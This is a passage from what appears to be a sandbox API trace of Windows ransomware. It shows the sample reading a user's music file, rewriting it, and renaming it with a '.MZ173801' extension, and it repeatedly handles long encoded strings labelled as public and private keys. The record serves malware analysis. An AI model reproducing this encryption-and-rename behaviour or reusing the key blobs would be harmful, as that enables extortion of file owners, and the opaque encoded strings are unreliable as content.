qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] GetCurrentThreadId () returned 0xab4 [0158.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.934] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.935] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.935] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0xbf3f [0158.935] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.935] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0xbf3f, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0xbf3f, lpOverlapped=0x0) returned 1 [0158.936] CloseHandle (hObject=0x27c) returned 1 [0158.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.938] WriteFile (in: hFile=0x27c, lpBuffer=0x25223a0*, nNumberOfBytesToWrite=0xbf3f, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x25223a0*, lpNumberOfBytesWritten=0x19f1c0*=0xbf3f, lpOverlapped=0x0) returned 1 [0158.940] CloseHandle (hObject=0x27c) returned 1 [0158.941] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\Eqf_vPTfpsTYa7.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\eqf_vptfpstya7.mp3.mz173801")) returned 1 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] GetCurrentThreadId () returned 0xab4 [0158.942] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99508af0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0xbe092540, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbe092540, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x18a64, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="fWrYbFvKgXjYGT.m4a", cAlternateFileName="FWRYBF~1.M4A")) returned 1 [0158.942] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.942] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99508af0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0xbe092540, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbe092540, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x18a64)) returned 1 [0158.942] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a")) returned 0x20 [0158.943] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a", dwFileAttributes=0x80) returned 1 [0158.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.946] GetCurrentThreadId () returned 0xab4 [0158.946] GetCurrentThreadId () returned 0xab4 [0158.946] GetCurrentThreadId () returned 0xab4 [0158.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lF